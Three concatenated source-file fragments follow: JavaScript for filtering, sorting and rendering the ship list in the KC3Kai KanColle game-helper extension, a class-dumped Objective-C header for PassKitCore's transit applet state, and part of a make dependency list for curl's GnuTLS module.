Math.ceil((visibleShips + 1) / 10)) .insertBefore(this) .toggle(self.pageNo); } visibleShips++; // Calculate statistic const id = Number($('.ship_id', $(this)).text()); const ship = KC3ShipManager.get(id); if (ship.rosterId) { sumLevel += ship.level; sumExp += ship.exp[0]; } } }); // Update statistic const localeOptions = { minimumFractionDigits: 1, maximumFractionDigits: 1 }; const getSumDisplay = n => n.toLocaleString(); const getAvarageDisplay = n => visibleShips ? (n / visibleShips).toLocaleString(undefined, localeOptions) : 0; // $(".fleet_stats_label .sum_ships").text(visibleShips); $(".fleet_stats .fleet_stat .sum_level").text(getSumDisplay(sumLevel)); $(".fleet_stats .fleet_stat .average_level").text(getAvarageDisplay(sumLevel)); $(".fleet_stats .fleet_stat .sum_exp").text(getSumDisplay(sumExp)); $(".fleet_stats .fleet_stat .average_exp").text(getAvarageDisplay(sumExp)); // update listed ship counter // have to take filtered list by data into account since hidden rows are still in list const filteredBefore = $(".ship_count .count_value .listed").data("filtered") || 0; $(".ship_count .count_value .listed").text(filteredBefore - hiddenShips); // save criteria values to settings let toUpdateSettings = false; if (this.showNameFilter !== newNameCriteria) { this.showNameFilter = newNameCriteria; toUpdateSettings = true; } if (this.shipLevelFilter[0] !== levelStartCriteria) { this.shipLevelFilter[0] = levelStartCriteria; toUpdateSettings = true; } if (this.shipLevelFilter[1] !== levelEndCriteria) { this.shipLevelFilter[1] = levelEndCriteria; toUpdateSettings = true; } if (toUpdateSettings) { this.saveSettings(); } return hiddenShips; }, getLastCurrentSorter: function() { return this.currentSorters[this.currentSorters.length-1]; }, reverseLastCurrentSorter: function() { const sorter = this.getLastCurrentSorter(); sorter.reverse = ! sorter.reverse; this.updateSorterDescription(); }, // try pushing a new sorter to existing list // if the sorter already exists, the its "reverse" // value will be flipped. pushToCurrentSorters: function(name) { let found = false; for (let i = 0; !found && i < this.currentSorters.length; ++i) { const sorterInfo = this.currentSorters[i]; if (name === sorterInfo.name) { found = true; sorterInfo.reverse = ! sorterInfo.reverse; } } if (!found) { this.currentSorters.push({ name: name, reverse: false }); } this.updateSorterDescription(); }, // remove all sorters except the first one // returning true means visible ship list needs to be updated. cutCurrentSorter: function() { if (this.currentSorters.length > 1) { this.currentSorters = [ this.currentSorters[0] ]; this.updateSorterDescription(); return true; } return false; }, setCurrentSorter: function(name) { const sorter = this.sorters[name]; console.assert(sorter, "sorter should have been registered"); this.currentSorters = [ {name: sorter.name, reverse:false} ]; this.updateSorterDescription(); }, updateSorterDescription: function() { const self = this; const desc = this.currentSorters .map(function(sorterInfo) { const sorter = self.sorters[sorterInfo.name]; return sorterInfo.reverse ? sorter.desc + "(R)" : sorter.desc; }) .join(" > "); this.sorterDescCtrl.text( desc ); }, // create comparator based on current list sorters makeComparator: function() { function reversed(comparator) { return function(l, r) { return -comparator(l, r); }; } function compose(prevComparator, nextComparator) { return function(l, r) { return prevComparator(l, r) || nextComparator(l, r); }; } const mergedSorters = this.currentSorters.slice(0); // Append sortno as default sorter to keep order stable if not used yet if(this.currentSorters.every(si => si.name !== "sortno")){ const lastSorterReverse = this.getLastCurrentSorter().reverse; mergedSorters.push({ name: "sortno", reverse: lastSorterReverse }); } // To simulate phase 1 in-game behavior: if 1st sorter is stype, // reverse sortno and add descending level if necessary. // (no longer reverse for phase 2 `api_sort_id`) // For phase 2, also add descending level if 1st sorter is sortno if(["type", "sortno"].includes(this.currentSorters[0].name)){ if(this.currentSorters.every(si => si.name !== "lv")){ mergedSorters.push({ name: "lv", reverse: false }); } } // For duplicated ships, final sorter if roster ID not used if(this.currentSorters.every(si => si.name !== "id")){ mergedSorters.push({ name: "id", reverse: false }); } return mergedSorters .map( sorterInfo => { const sorter = this.sorters[sorterInfo.name]; return sorterInfo.reverse ? reversed(sorter.comparator) : sorter.comparator; }) .reduce( compose ); }, // prepares necessary info. // also stores those that doesn't need to be recomputed overtime. prepareShipData: function(ship) { const ThisShip = ship; const MasterShip = ThisShip.master(); const cached = { id: ThisShip.rosterId, bid : ThisShip.masterId, stype: MasterShip.api_stype, ctype: MasterShip.api_ctype, sortno: MasterShip.api_sort_id, name: ThisShip.name(), jpName: MasterShip.api_name, jpNameKana: MasterShip.api_yomi, jpNameRomaji: wanakana.toRomaji(MasterShip.api_yomi), className: KC3Meta.ctypeName(MasterShip.api_ctype), fullName: KC3Meta.term("ShipListFullNamePattern") .format(KC3Meta.ctypeName(MasterShip.api_ctype), ThisShip.name()), level: ThisShip.level, levelClass: ThisShip.levelClass(), morale: ThisShip.morale, equip: ThisShip.items, locked: ThisShip.lock, hp: [ThisShip.hp[1], ThisShip.maxHp(true), MasterShip.api_taik[0] ], fp: [MasterShip.api_houg[1], MasterShip.api_houg[0] + ThisShip.mod[0], ThisShip.fp[0] ], tp: [MasterShip.api_raig[1], MasterShip.api_raig[0] + ThisShip.mod[1], ThisShip.tp[0] ], yasen: [ MasterShip.api_houg[1] + MasterShip.api_raig[1], MasterShip.api_houg[0] + ThisShip.mod[0] + MasterShip.api_raig[0] + ThisShip.mod[1], ThisShip.fp[0] + ThisShip.tp[0] ], aa: [MasterShip.api_tyku[1], MasterShip.api_tyku[0]+ThisShip.mod[2], ThisShip.aa[0] ], ar: [MasterShip.api_souk[1], MasterShip.api_souk[0]+ThisShip.mod[3], ThisShip.ar[0] ], as: [ThisShip.nakedAsw(), ThisShip.maxAswMod(), ThisShip.nakedAsw() - ThisShip.mod[6], ThisShip.as[0] ], ev: [this.getDerivedStatNaked("houk", ThisShip.ev[0], ThisShip), ThisShip.ev[0] ], ls: [this.getDerivedStatNaked("saku", ThisShip.ls[0], ThisShip), ThisShip.ls[0] ], lk: [ThisShip.lk[0], ThisShip.lk[1], MasterShip.api_luck[0]], fuel: [MasterShip.api_fuel_max, ThisShip.fuel], ammo: [MasterShip.api_bull_max, ThisShip.ammo], sp: ThisShip.speed, isp: MasterShip.api_soku, range: ThisShip.range, irange: MasterShip.api_leng, slots: ThisShip.slots, exSlot: ThisShip.ex_item, slotNum: ThisShip.slotnum, fleet: ThisShip.onFleet(), ship: ThisShip, master: MasterShip, // Check whether remodel is max remodel: RemodelDb.isFinalForm(ship.masterId), canEquipDaihatsu: ThisShip.canEquipDaihatsu(), canEquipTank: ThisShip.canEquipTank() }; const ThisShipData = cached; // Check whether modernization is max if( ThisShipData.fp[0] == ThisShipData.fp[1] && ThisShipData.tp[0] == ThisShipData.tp[1] && ThisShipData.aa[0] == ThisShipData.aa[1] && ThisShipData.ar[0] == ThisShipData.ar[1] ) ThisShipData.statmax = 1; else ThisShipData.statmax = 0; return cached; }, // default UI actions for options that are mutually exclusive // NOTE: this function is supposed to be a shared callback function // and should not be called directly. _mutualExclusiveOnToggle: function(selectedInd,optionRep,initializing) { // mutual exclusive options use just value indices // as the option value const oldVal = optionRep.curValue; if (oldVal === selectedInd) return; // first update value optionRep.curValue = selectedInd; // then update UI accordingly $.each(optionRep.options, function(thisInd, optionObj) { optionObj.view.toggleClass('on', thisInd === selectedInd); }); // only trigger update when it's not the first time // first time we just need to give it a initial value (default value) // and then update UI. if (!initializing) this.refreshTable(); }, // findView given filter's name and this option // NOTE: this function is supposed to be a shared callback function // and should not be called directly. _commonFindView: function(filterName, option) { return $(".tab_ships .filters .massSelect" +" ." + filterName + "_" + option); }, /* defineShipFilter defines a filter that has UI controls. see comments on each arguments for detail. */ defineShipFilter: function( // a string name for this filter filterName, // ship filters can hold a piece of value // which represents its state. // (e.g. true / false for keeping track of whether // this filter is enabled or disable) defValue, // an array of arbitrary values, each of the option should // correspond to a toggle / control on UI options, // a callback function testShip(curVal,ship) // that does the actual filtering: // returning a falsy value means // the ship should be filtered out from the list. // curVal is the current state of the filter. testShip, // findView(filterName,option) should return // a jQuery object that represents the UI control specified by // "filterName" and "option", where "option" is one value from "options" // note that the length of the jquery object has to be exactly one, // otherwise you'll see assertion failures in the console. findView, // onToggle(newVal,optionRep,initializing) that triggers either when initializing // or when user has changed something on UI. // optionRep is the runtime representation of this filter: // * optionRep.curValue represents the current value // held by this filter, when initializing, this value is set to "null". // * optionRep.options is the runtime representation of // all options you have passed to this function. // for all valid options indices ind // * optionRep.options[ind].name is set to options[ind] // * optionRep.options[ind].view is set to the jQuery object returned // by your "findView". // * initializing: newly added to help indicate whether we are initializing // your onToggle is responsible for 2 things: // * when initalizing a filter, "optionRep.curValue" is set to "null", // in this case "newVal" is "defValue" you passed to this function, // you should do something like "optionRep.curValue = newVal" // to complete initializing filter state. and update UI accordingly // (but avoid refreshing ship list, since we are just initalizing) // * when user does something on UI, your onToggle function will be triggered. // in this case "newVal" is set to an index of "options" to indicate // which option triggers this function. in this case you are responsible // for updating "optionRep.curValue" accordingly, updating UI to reflect the change // and finally refresh ship list to execute all filters. onToggle) { const self = this; // as most filters are groups of mutually exclusive controls // it makes sense setting them as defaults if (! findView) findView = this._commonFindView; if (! onToggle) onToggle = this._mutualExclusiveOnToggle; const newOptions = []; $.each(options, function(ind, optionName) { const thisOption = {}; const view = findView(filterName,optionName); thisOption.name = optionName; thisOption.view = view; thisOption.view.on('click', function(e) { const curRep = self.newFilterRep[filterName]; const selectedInd = ind; curRep.onToggle.call(self,selectedInd,curRep,false,e); }); console.assert( thisOption.view.length === 1, "expecting exactly one result of getView on " + filterName + "," + optionName ); newOptions.push( thisOption ); }); const optionRep = { curValue: null, options: newOptions, onToggle: onToggle, testShip: function (ship) { return testShip(optionRep.curValue,ship); } }; this.newFilterRep[filterName] = optionRep; optionRep.onToggle.call(self,defValue,optionRep,true); }, prepareFilters: function() { const self = this; const savedFilterValues = this.settings.filters || {}; self.defineShipFilter( "marriage", savedFilterValues.marriage || 0, [ "in","on","ex" ], function(curVal, ship) { return (curVal === 0) || (curVal === 1 && ship.level >= 100) || (curVal === 2 && ship.level < 100); }); self.defineShipFilter( "remodel", savedFilterValues.remodel || 0, ["all","max","nomax"], function(curVal, ship) { return (curVal === 0) || (curVal === 1 && ship.remodel) || (curVal === 2 && !ship.remodel); }); self.defineShipFilter( "modernization", savedFilterValues.modernization || 0, ["all","max","nomax"], function(curVal, ship) { return (curVal === 0) || (curVal === 1 && ship.statmax) || (curVal === 2 && !ship.statmax); }); self.defineShipFilter( "heartlock", savedFilterValues.heartlock || 0, ["all","yes","no"], function(curVal, ship) { return (curVal === 0) || (curVal === 1 && ship.locked === 1) || (curVal === 2 && ship.locked === 0); }); self.defineShipFilter( "speed", savedFilterValues.speed || 0, ["all","slow","fast","faster","fastest"], function(curVal,ship) { return (curVal === 0) || (curVal === 1 && ship.sp > 0 && ship.sp < 10) || (curVal === 2 && ship.sp >= 10 && ship.sp < 15) || (curVal === 3 && ship.sp >= 15 && ship.sp < 20) || (curVal === 4 && ship.sp >= 20); }); self.defineShipFilter( "fleet", savedFilterValues.fleet || 0, ["all", "yes","no"], function(curVal,ship) { return (curVal === 0) || (curVal === 1 && ship.fleet) || (curVal === 2 && !ship.fleet); }); self.defineShipFilter( "sparkle", savedFilterValues.sparkle || 0, ["all", "yes","no"], function(curVal, ship) { return (curVal === 0) || (curVal === 1 && ship.morale >= 50) || (curVal === 2 && ship.morale < 50); }); self.defineShipFilter( "daihatsu", savedFilterValues.daihatsu || 0, ["all", "yes1","yes2", "both", "no"], function(curVal, ship) { return (curVal === 0) || (curVal === 1 && ship.canEquipDaihatsu) || (curVal === 2 && ship.canEquipTank) || (curVal === 3 && ship.canEquipDaihatsu && ship.canEquipTank) || (curVal === 4 && !ship.canEquipDaihatsu && !ship.canEquipTank); }); self.defineShipFilter( "exslot", savedFilterValues.exslot || 0, ["all", "yes","no"], function(curVal, ship) { return (curVal === 0) || (curVal === 1 && (ship.exSlot > 0 || ship.exSlot === -1)) || (curVal === 2 && ship.exSlot === 0); }); self.defineShipFilter( "dupe", savedFilterValues.dupe || 0, ["all", "yes","no"], function(curVal, ship) { if(curVal === 0) return true; const dupeShips = self.shipCache.filter(s => (RemodelDb.originOf(ship.bid) === RemodelDb.originOf(s.bid) && s.id !== ship.id) ); return (curVal === 1 && dupeShips.length > 0) || (curVal === 2 && dupeShips.length === 0); }); self.defineShipFilter( "range", savedFilterValues.range || 0, ["all","short","medium","long","verylong"], function(curVal, ship) { return (curVal === 0) || (curVal === ship.range); }); const stypes = Object.keys(KC3Meta.allStypes()) .map(id => parseInt(id, 10)) .filter(id => [12, 15].indexOf(id) < 0) .sort((a, b) => a - b); console.assert(stypes[0] === 0, "stype array should start with element 0"); // remove initial "0", which is invalid stypes.shift(); const stypeDefValue = []; $.each(stypes, function(ignore, stype) { stypeDefValue[stype] = true; }); self.defineShipFilter( "stype", savedFilterValues.stype || stypeDefValue, // valid ship types and additionally 3 controls stypes.concat(["all","none","invert"]), // testShip function(curVal, ship) { return curVal[ship.stype]; }, // find view function (filterName, option) { if (typeof option === "number") { // this is a ship type toggle return $(".tab_ships .filters .ship_types .ship_filter_type") .filter( function() { return $(this).data("id") == option; } ); } else { // one of: all / none / invert return $(".tab_ships .filters .massSelect ." + option); } }, // onToggle function(selectedInd, optionRep, initializing, event) { if (initializing) { // the variable name is a bit misleading.. // but at this point we should set the initial value optionRep.curValue = selectedInd; } else { const selected = optionRep.options[selectedInd]; if (typeof selected.name === 'number') { if(event && event.altKey){ // only select this ship type if Alt key held $.each(stypes, function(ignore, stype) { optionRep.curValue[stype] = false; }); optionRep.curValue[selected.name] = true; } else { // this is a ship type toggle optionRep.curValue[selected.name] = !optionRep.curValue[selected.name]; } } else { $.each(stypes, function(ignore, stype) { optionRep.curValue[stype] = (selected.name === "all") ? true : (selected.name === "none") ? false : ! optionRep.curValue[stype]; }); } } // update UI $.each(optionRep.options, function(ignored, x) { if (typeof x.name === "number") { $( ".filter_check", x.view ).toggle( optionRep.curValue[x.name] ); } }); if (!initializing) self.refreshTable(); } ); }, // execute all registered filters on a ship executeFilters: function(ship) { for(const key in this.newFilterRep) { const filter = this.newFilterRep[key].testShip; if (!filter(ship)) return false; } return true; }, saveSettings: function() { const shrinkedSettings = { sorters: this.currentSorters, filters: {}, views: {} }; for(const key in this.newFilterRep) { shrinkedSettings.filters[key] = this.newFilterRep[key].curValue; } shrinkedSettings.filters.showname = this.showNameFilter; shrinkedSettings.filters.levelrange = this.shipLevelFilter; shrinkedSettings.views.equip = this.equipMode; shrinkedSettings.views.page = this.pageNo; shrinkedSettings.views.scroll = this.scrollList; shrinkedSettings.views.lock = this.heartLockMode; shrinkedSettings.views.ctype = this.className; shrinkedSettings.views.tooltip = this.showTooltip; this.settings = shrinkedSettings; localStorage.srShiplist = JSON.stringify(this.settings); }, loadSettings: function() { this.settings = JSON.parse( localStorage.srShiplist || "{}" ); if(this.settings.sorters){ this.currentSorters = this.settings.sorters; if(this.currentSorters.length > 1) this.multiKey = true; } if(this.settings.filters){ this.showNameFilter = this.settings.filters.showname || ""; this.shipLevelFilter = this.settings.filters.levelrange || ["", ""]; } if(this.settings.views){ this.equipMode = this.settings.views.equip || 0; this.pageNo = this.settings.views.page || false; this.scrollList = this.settings.views.scroll || false; this.heartLockMode = this.settings.views.lock || 0; this.className = this.settings.views.ctype || false; this.showTooltip = this.settings.views.tooltip || false; } }, /* FILTERS Ship types, and other toggles ---------------------------------*/ showFilters :function(){ const self = this; // Equip Stats: Yes self.viewElements.equip_yes = $(".tab_ships .filters .massSelect .equip_yes") .on("click", function(){ self.equipMode = 1; self.refreshTable(); self.viewElements.equip_yes.addClass('on'); self.viewElements.equip_no.removeClass('on'); }); // Equip Stats: No self.viewElements.equip_no = $(".tab_ships .filters .massSelect .equip_no") .on("click", function(){ self.equipMode = 0; self.refreshTable(); self.viewElements.equip_yes.removeClass('on'); self.viewElements.equip_no.addClass('on'); }); // Default status if( self.equipMode ) self.viewElements.equip_yes.addClass('on'); else self.viewElements.equip_no.addClass('on'); // Column header sorting $(".tab_ships .ship_header .ship_field.hover").on("click", function(){ const sorter = self.getLastCurrentSorter(); const sorterName = $(this).data("type"); if (sorterName === sorter.name) { self.reverseLastCurrentSorter(); } else { if (self.multiKey) { // for multi index sorters self.pushToCurrentSorters( sorterName ); } else { // for normal sorters self.setCurrentSorter( sorterName ); } } self.refreshTable(); }); this.refreshTable(); }, defineSorter: function(name,desc,comparator) { this.sorters[name] = { name: name, desc: desc, comparator: comparator }; }, defineSimpleSorter: function(name,desc,getter) { const self = this; this.defineSorter( name,desc, function(a,b) { const va = getter.call(self,a); const vb = getter.call(self,b); return typeof va === "string" ? va.localeCompare(vb) : va - vb; }); }, prepareSorters: function() { const define = this.defineSimpleSorter.bind(this); define("id", "ID", function(x) { return x.id; }); define("name", "Name", function(x) { return this.className ? x.fullName : x.name; }); define("type", "Type", function(x) { return x.stype; }); define("lv", "Level", function(x) { return -x.level; }); define("morale", "Morale", function(x) { return -x.morale; }); define("hp", "HP", function(x) { return -x.hp[0]; }); define("fp", "Firepower", function(x) { return -x.fp[this.equipMode+1]; }); define("tp", "Torpedo", function(x) { return -x.tp[this.equipMode+1]; }); define("yasen", "Yasen", function(x) { return -(x.fp[this.equipMode+1] + x.tp[this.equipMode+1]); }); define("aa", "Anti-Air", function(x) { return -x.aa[this.equipMode+1]; }); define("ar", "Armor", function(x) { return -x.ar[this.equipMode+1]; }); define("as", "ASW", function(x) { return -x.as[this.equipMode ? 3 : 0]; }); define("ev", "Evasion", function(x) { return -x.ev[this.equipMode]; }); define("ls", "LoS", function(x) { return -x.ls[this.equipMode]; }); define("lk", "Luck", function(x) { return -x.lk[0]; }); define("fuel", "Fuel", function(x) { return x.fuel[1]; }); define("ammo", "Ammo", function(x) { return x.ammo[1]; }); define("ctype", "Class", function(x) { return x.ctype; }); define("bid", "Master-ID", function(x) { return x.bid; }); define("sortno", "Class in-game", function(x) { return x.sortno; }); }, /* REFRESH TABLE Reload ship list based on filters ---------------------------------*/ refreshTable :function(){ // use "isLoading" to check if we need UI update. if(this.isLoading){ return false; } this.isLoading = true; this.saveSettings(); const self = this; this.startTime = Date.now(); // Update indicators of sorters $(".tab_ships .ship_header .ship_field.hover").removeClass("sorted"); $.each(this.currentSorters, function(i, s){ $(".tab_ships .ship_header .ship_field.hover.ship_{0}".format(s.name)).addClass("sorted"); }); // Clear list this.shipList.html("").hide(); $(".ship_count .count_value").hide(); // Wait until execute setTimeout(function(){ // Filtering const filteredShips = self.shipCache.filter(function(x) { return self.executeFilters(x); }); // Sorting filteredShips.sort( self.makeComparator() ); // Fill up list Object.keys(filteredShips).forEach(function(shipCtr){ const cShip = filteredShips[shipCtr]; const shipLevel = cShip.level; // we can save some time by avoiding constructing jquery object // if we already have one if (cShip.view) { const cElm = cShip.view; cElm.appendTo(self.shipList); if (cElm.onRecompute) cElm.onRecompute(cShip); return; } // elements constructing for the time-consuming 'first time rendering' const cElm = $(".tab_ships .factory .ship_item").clone().appendTo(self.shipList); cShip.view = cElm; $(".ship_id", cElm).text( cShip.id ); $(".ship_img .ship_icon", cElm) .attr("src", KC3Meta.shipIcon(cShip.bid)) .attr("alt", cShip.bid); // put data to attributes to ensure not lose them $(".ship_name", cElm) .attr("data-ship-name", cShip.name) .attr("data-full-name", cShip.fullName) .attr("data-jpname", cShip.jpName) .attr("data-jpname-kana", cShip.jpNameKana) .attr("data-jpname-romaji", cShip.jpNameRomaji); if(shipLevel >= 100) { $(".ship_name", cElm).addClass("ship_kekkon-color"); //$(".ship_marry", cElm).show(); } if(cShip.fleet > 0) { $(".ship_name", cElm).addClass("ship_onfleet-color" + cShip.fleet); } $(".ship_type", cElm).text( KC3Meta.stype(cShip.stype) ); $(".ship_lv .value", cElm).text(shipLevel) .addClass(cShip.levelClass); $(".ship_lv", cElm).attr("data-level", shipLevel); $(".ship_morale", cElm).text(cShip.morale); if(cShip.morale >= 50){ $(".ship_morale", cElm).addClass("sparkled"); } // Check whether remodel is max if( !cShip.remodel ) cElm.addClass('remodel-max'); else cElm.addClass('remodel-able'); // Check whether modernization is max if( cShip.statmax ) cElm.addClass('modernization-max'); else cElm.addClass('modernization-able'); cShip.equip.forEach(function(gid, idx){ self.equipImg(cElm, idx + 1, cShip.slotNum, cShip.slots[idx], gid, cShip.id); }); if(cShip.exSlot !== 0){ self.equipImg(cElm, "ex", cShip.slotNum, -2, cShip.exSlot); } $(".ship_equip", cElm).toggleClass("slot5", cShip.slotNum + ((cShip.exSlot !== 0) & 1) > 5); // callback for things that has to be recomputed cElm.onRecompute = function(ship) { const thisShip = ship || cShip; // Reset shown ship name class if(self.className !== $(".ship_name", this).data("class-name")) { const showName = self.className ? thisShip.fullName : thisShip.name; $(".ship_name", this).text(showName).attr("title", showName) .attr("data-class-name", self.className); } // Recomputes stats if equipment get in if(self.equipMode !== $(".ship_hp", this).data("equip-mode")) { self.modernizableStat("hp", this, thisShip.hp, 0, 0, true); self.modernizableStat("fp", this, thisShip.fp, 2, 1); self.modernizableStat("tp", this, thisShip.tp, 2, 1); self.modernizableStat("yasen", this, thisShip.yasen); self.modernizableStat("aa", this, thisShip.aa, 2, 1); self.modernizableStat("ar", this, thisShip.ar, 2, 1); self.modernizableStat("as", this, thisShip.as, 3, 0, true); $(".ship_ev", this).text( thisShip.ev[self.equipMode] ); $(".ship_ls", this).text( thisShip.ls[self.equipMode] ); self.modernizableStat("lk", this, thisShip.lk, 0, 0, true); $(".ship_hp", this).attr("data-equip-mode", self.equipMode); $(".ship_fuel", this).text( thisShip.fuel[1] ); $(".ship_ammo", this).text( thisShip.ammo[1] ); } // Reset heart-lock icon if((self.heartLockMode === 1 && thisShip.locked) || (self.heartLockMode === 2 && !thisShip.locked)) { $(".ship_lock", this).toggleClass("unlock", self.heartLockMode === 2).show(); } else { $(".ship_lock", this).hide(); } // Update tooltip $(".ship_name", this).lazyInitTooltip(); $(".ship_equip", this).lazyInitTooltip(); const targetElm = $(".ship_img .ship_icon", this); if(targetElm.tooltip("instance") !== undefined){ targetElm.tooltip("destroy"); } if(self.showTooltip){ // but this is also time-consuming const tooltipBox = KC3ShipManager.get(thisShip.id) .htmlTooltip($(".tab_ships .factory .ship_tooltip").clone()); targetElm.tooltip({ position: { my: "left top", at: "left+25 bottom" }, items: "div", content: tooltipBox.prop("outerHTML"), // might be disabled for performance open: KC3Ship.onShipTooltipOpen, }); } // Rebind click handlers $(".ship_img .ship_icon", this).click(self.shipClickFunc); $(".ship_equip_icon img", this).click(self.gearClickFunc); }; // also invoke recompute for the first time cElm.onRecompute(cShip); }); self.shipList.show(); $(".ship_count .count_value .listed") .text(filteredShips.length) .data("filtered", filteredShips.length); $(".ship_count .count_value .total").text(self.shipCache.length); $(".ship_count .count_value").show(); self.refreshInputFilter(); self.toggleTableScrollbar(self.scrollList); self.isLoading = false; const elapsed = Date.now() - self.startTime; if(self.scrollList) setTimeout(self.toggleTableScrollbar.bind(self, self.scrollList), elapsed); console.debug("Showing ship list took", elapsed, "milliseconds"); }, 0); }, shipClickFunc: function(e){ KC3StrategyTabs.gotoTab("mstship", $(this).attr("alt")); }, gearClickFunc: function(e){ KC3StrategyTabs.gotoTab("mstgear", $(this).attr("alt")); }, toggleTableScrollbar: function(isFixed){ $(".ship_list").toggleClass("scroll_fix", isFixed); $(".page_padding").toggleClass("scroll_fix", isFixed); if(isFixed){ $(".ship_list").height(window.innerHeight - $(".ship_list").offset().top - 5); } }, /* Compute Derived Stats without Equipment --------------------------------------------*/ getDerivedStatNaked :function(statName, equippedValue, shipObj){ return equippedValue - shipObj.equipmentTotalStats(statName, true); }, /* Show cell contents of a mod stat --------------------------------------------*/ modernizableStat :function(statAbbr, rowElm, valuesTuple, equipStatIndex = 2, noEquipStatIndex = 1, isSup = false){ const statElm = $(".ship_" + statAbbr, rowElm); $(".stat_value", statElm).text( valuesTuple[equipStatIndex > 0 ? (this.equipMode ? equipStatIndex : noEquipStatIndex) : noEquipStatIndex] ); if(isSup){ if(valuesTuple[0] >= valuesTuple[1]){ statElm.addClass("max"); } if(valuesTuple[0] > valuesTuple[2]){ $(".sup", statElm).text(valuesTuple[0] - valuesTuple[2]); } else { $(".sup", statElm).hide(); } } else { if(valuesTuple[0] <= valuesTuple[1]){ $(".stat_left", statElm).hide(); statElm.addClass("max"); } else { $(".stat_left", statElm).show() .text("+" + (valuesTuple[0] - valuesTuple[1])); } } }, /* Show single equipment icon --------------------------------------------*/ equipImg :function(cElm, slotIndex, slotCount, slotSize, gearId, shipId){ const element = $(".ship_equip_" + slotIndex, cElm); if(gearId > 0){ const gear = KC3GearManager.get(gearId); if(gear.isDummy()){ element.hide(); return; } const ship = shipId > 0 ? KC3ShipManager.get(shipId) : undefined; $("img", element) .attr("src", KC3Meta.itemIcon(gear.master().api_type[3])) .attr("titlealt", gear.htmlTooltip(slotSize, ship)) .attr("alt", gear.master().api_id) .show(); $("span", element).css("visibility", "hidden"); element.show(); } else if(slotIndex === "ex" || slotIndex <= Math.max(4, slotCount)){ $("img", element).hide(); const sizeSpan = $("span", element); if(slotSize > 0) sizeSpan.text(slotSize); else if(slotSize === -2) // for ex slot opened, but not equipped sizeSpan.addClass("empty"); else sizeSpan.css("visibility", "hidden"); } else { element.hide(); } } }; })();
{ "pile_set_name": "Github" }
// // Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 15 2018 10:31:50). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard. // #import <objc/NSObject.h> #import <PassKitCore/NSCopying-Protocol.h> #import <PassKitCore/NSSecureCoding-Protocol.h> @class NSArray, NSDate, NSDecimalNumber, NSNumber, NSString, PKFelicaTransitAppletState; @interface PKTransitAppletState : NSObject <NSCopying, NSSecureCoding> { _Bool _blacklisted; _Bool _needsStationProcessing; _Bool _appletStateDirty; NSNumber *_historySequenceNumber; NSNumber *_serverRefreshIdentifier; NSDecimalNumber *_balance; NSNumber *_loyaltyBalance; NSString *_currency; NSDate *_expirationDate; NSArray *_balances; NSArray *_enrouteTransitTypes; } + (BOOL)supportsSecureCoding; - (void).cxx_destruct; @property(nonatomic) _Bool appletStateDirty; // @synthesize appletStateDirty=_appletStateDirty; @property(nonatomic) _Bool needsStationProcessing; // @synthesize needsStationProcessing=_needsStationProcessing; @property(copy, nonatomic) NSArray *enrouteTransitTypes; // @synthesize enrouteTransitTypes=_enrouteTransitTypes; @property(copy, nonatomic) NSArray *balances; // @synthesize balances=_balances; @property(copy, nonatomic) NSDate *expirationDate; // @synthesize expirationDate=_expirationDate; @property(copy, nonatomic) NSString *currency; // @synthesize currency=_currency; @property(copy, nonatomic) NSNumber *loyaltyBalance; // @synthesize loyaltyBalance=_loyaltyBalance; @property(copy, nonatomic) NSDecimalNumber *balance; // @synthesize balance=_balance; @property(copy, nonatomic) NSNumber *serverRefreshIdentifier; // @synthesize serverRefreshIdentifier=_serverRefreshIdentifier; @property(copy, nonatomic) NSNumber *historySequenceNumber; // @synthesize historySequenceNumber=_historySequenceNumber; @property(nonatomic, getter=isBlacklisted) _Bool blacklisted; // @synthesize blacklisted=_blacklisted; - (void)addEnrouteTransitType:(id)arg1; - (id)transitPassPropertiesWithPaymentApplication:(id)arg1; - (void)_resolveTransactionsFromState:(id)arg1 toState:(id)arg2 withHistoryRecords:(id)arg3 concreteTransactions:(id *)arg4 ephemeralTransaction:(id *)arg5 balanceLabels:(id)arg6 unitDictionary:(id)arg7; - (id)updatedEnrouteTransitTypesFromExistingTypes:(id)arg1 newTypes:(id)arg2; - (id)processUpdateWithAppletHistory:(id)arg1 concreteTransactions:(id *)arg2 ephemeralTransaction:(id *)arg3 mutatedBalances:(id *)arg4 balanceLabelDictionary:(id)arg5 unitDictionary:(id)arg6; - (id)processUpdateWithAppletHistory:(id)arg1 concreteTransactions:(id *)arg2 ephemeralTransaction:(id *)arg3 mutatedBalances:(id *)arg4 balanceLabelDictionary:(id)arg5; - (id)processUpdateWithAppletHistory:(id)arg1 concreteTransactions:(id *)arg2 ephemeralTransaction:(id *)arg3 mutatedBalances:(id *)arg4; - (id)processUpdateWithAppletHistory:(id)arg1 concreteTransactions:(id *)arg2 ephemeralTransaction:(id *)arg3; - (unsigned long long)hash; - (BOOL)isEqual:(id)arg1; @property(readonly, nonatomic, getter=isInStation) _Bool inStation; // @dynamic inStation; - (id)copyWithZone:(struct _NSZone *)arg1; - (void)encodeWithCoder:(id)arg1; - (id)initWithCoder:(id)arg1; @property(readonly, nonatomic) PKFelicaTransitAppletState *felicaState; @end
{ "pile_set_name": "Github" }
vtls/libcurl_la-gtls.lo: vtls/gtls.c /usr/include/stdc-predef.h \ ../lib/curl_setup.h ../lib/curl_config.h ../include/curl/curlbuild.h \ /usr/include/x86_64-linux-gnu/sys/types.h /usr/include/features.h \ /usr/include/x86_64-linux-gnu/sys/cdefs.h \ /usr/include/x86_64-linux-gnu/bits/wordsize.h \ /usr/include/x86_64-linux-gnu/gnu/stubs.h \ /usr/include/x86_64-linux-gnu/gnu/stubs-64.h \ /usr/include/x86_64-linux-gnu/bits/types.h \ /usr/include/x86_64-linux-gnu/bits/typesizes.h /usr/include/time.h \ /usr/lib/gcc/x86_64-linux-gnu/4.8/include/stddef.h /usr/include/endian.h \ /usr/include/x86_64-linux-gnu/bits/endian.h \ /usr/include/x86_64-linux-gnu/bits/byteswap.h \ /usr/include/x86_64-linux-gnu/bits/byteswap-16.h \ /usr/include/x86_64-linux-gnu/sys/select.h \ /usr/include/x86_64-linux-gnu/bits/select.h \ /usr/include/x86_64-linux-gnu/bits/sigset.h \ /usr/include/x86_64-linux-gnu/bits/time.h \ /usr/include/x86_64-linux-gnu/sys/sysmacros.h \ /usr/include/x86_64-linux-gnu/bits/pthreadtypes.h \ /usr/include/x86_64-linux-gnu/sys/socket.h \ /usr/include/x86_64-linux-gnu/sys/uio.h \ /usr/include/x86_64-linux-gnu/bits/uio.h \ /usr/include/x86_64-linux-gnu/bits/socket.h \ 